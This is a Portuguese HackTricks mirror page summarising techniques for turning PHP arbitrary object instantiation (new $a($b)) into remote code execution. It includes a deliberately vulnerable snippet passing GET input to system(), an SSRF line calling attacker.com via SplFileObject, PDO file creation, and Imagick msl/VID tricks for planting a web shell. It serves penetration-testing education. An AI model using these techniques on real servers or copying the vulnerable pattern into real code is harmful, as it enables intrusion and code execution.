mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 01:55:46 +00:00
123 lines
6.8 KiB
Markdown
123 lines
6.8 KiB
Markdown
|
# PHP - RCE abusando da criação de objetos: new $\_GET\["a"]\($\_GET\["b"])
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
Este é basicamente um resumo de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||
|
|
||
|
## Introdução
|
||
|
|
||
|
A criação de novos objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar à Execução Remota de Código (RCE), conforme detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE.
|
||
|
|
||
|
## RCE via Classes Personalizadas ou Autoloading
|
||
|
|
||
|
A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado para o construtor. Essas variáveis podem ser obtidas de entradas do usuário, como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem se apresentar como outros tipos.
|
||
|
|
||
|
Considere o trecho de código abaixo:
|
||
|
```php
|
||
|
class App {
|
||
|
function __construct ($cmd) {
|
||
|
system($cmd);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
class App2 {
|
||
|
function App2 ($cmd) {
|
||
|
system($cmd);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
$a = $_GET['a'];
|
||
|
$b = $_GET['b'];
|
||
|
|
||
|
new $a($b);
|
||
|
```
|
||
|
Neste caso, definir `$a` como `App` ou `App2` e `$b` como um comando do sistema (por exemplo, `uname -a`) resulta na execução desse comando.
|
||
|
|
||
|
**Funções de Autoloading** podem ser exploradas se tais classes não estiverem diretamente acessíveis. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`:
|
||
|
```php
|
||
|
spl_autoload_register(function ($class_name) {
|
||
|
include './../classes/' . $class_name . '.php';
|
||
|
});
|
||
|
|
||
|
function __autoload($class_name) {
|
||
|
include $class_name . '.php';
|
||
|
};
|
||
|
|
||
|
spl_autoload_register();
|
||
|
```
|
||
|
O comportamento do autoloading varia com as versões do PHP, oferecendo diferentes possibilidades de RCE.
|
||
|
|
||
|
## RCE via Classes Integradas
|
||
|
|
||
|
Na falta de classes personalizadas ou autoloaders, **classes integradas do PHP** podem ser suficientes para RCE. O número dessas classes varia entre 100 a 200, com base na versão do PHP e nas extensões. Elas podem ser listadas usando `get_declared_classes()`.
|
||
|
|
||
|
Construtores de interesse podem ser identificados através da API de reflexão, como mostrado no seguinte exemplo e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
|
||
|
|
||
|
**RCE via métodos específicos inclui:**
|
||
|
|
||
|
### **SSRF + Deserialização Phar**
|
||
|
|
||
|
A classe `SplFileObject` permite SSRF através de seu construtor, permitindo conexões a qualquer URL:
|
||
|
```php
|
||
|
new SplFileObject('http://attacker.com/');
|
||
|
```
|
||
|
SSRF pode levar a ataques de desserialização em versões do PHP anteriores a 8.0 usando o protocolo Phar.
|
||
|
|
||
|
### **Explorando PDOs**
|
||
|
|
||
|
O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente permitindo a criação de arquivos ou outras interações:
|
||
|
```php
|
||
|
new PDO("sqlite:/tmp/test.txt")
|
||
|
```
|
||
|
### **SoapClient/SimpleXMLElement XXE**
|
||
|
|
||
|
Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através dos construtores `SoapClient` e `SimpleXMLElement`, dependendo da versão do libxml2.
|
||
|
|
||
|
## RCE via Extensão Imagick
|
||
|
|
||
|
Na análise das **dependências de um projeto**, foi descoberto que **Imagick** poderia ser aproveitado para **execução de comandos** ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades.
|
||
|
|
||
|
### Parser VID
|
||
|
|
||
|
A capacidade do parser VID de escrever conteúdo em qualquer caminho especificado no sistema de arquivos foi identificada. Isso poderia levar à colocação de um shell PHP em um diretório acessível pela web, alcançando Execução Remota de Código (RCE).
|
||
|
|
||
|
#### Parser VID + Upload de Arquivo
|
||
|
|
||
|
Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O parser VID no Imagick, utilizando o protocolo **msl**, pode lidar com curingas em caminhos de arquivos, facilitando a transferência do arquivo temporário para um local escolhido. Este método oferece uma abordagem adicional para alcançar a escrita arbitrária de arquivos dentro do sistema de arquivos.
|
||
|
|
||
|
### Crash do PHP + Força Bruta
|
||
|
|
||
|
Um método descrito no [**escrito original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve o upload de arquivos que provocam uma falha no servidor antes da exclusão. Ao forçar o nome do arquivo temporário, torna-se possível para o Imagick executar código PHP arbitrário. No entanto, essa técnica foi considerada eficaz apenas em uma versão desatualizada do ImageMagick.
|
||
|
|
||
|
## Referências
|
||
|
|
||
|
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|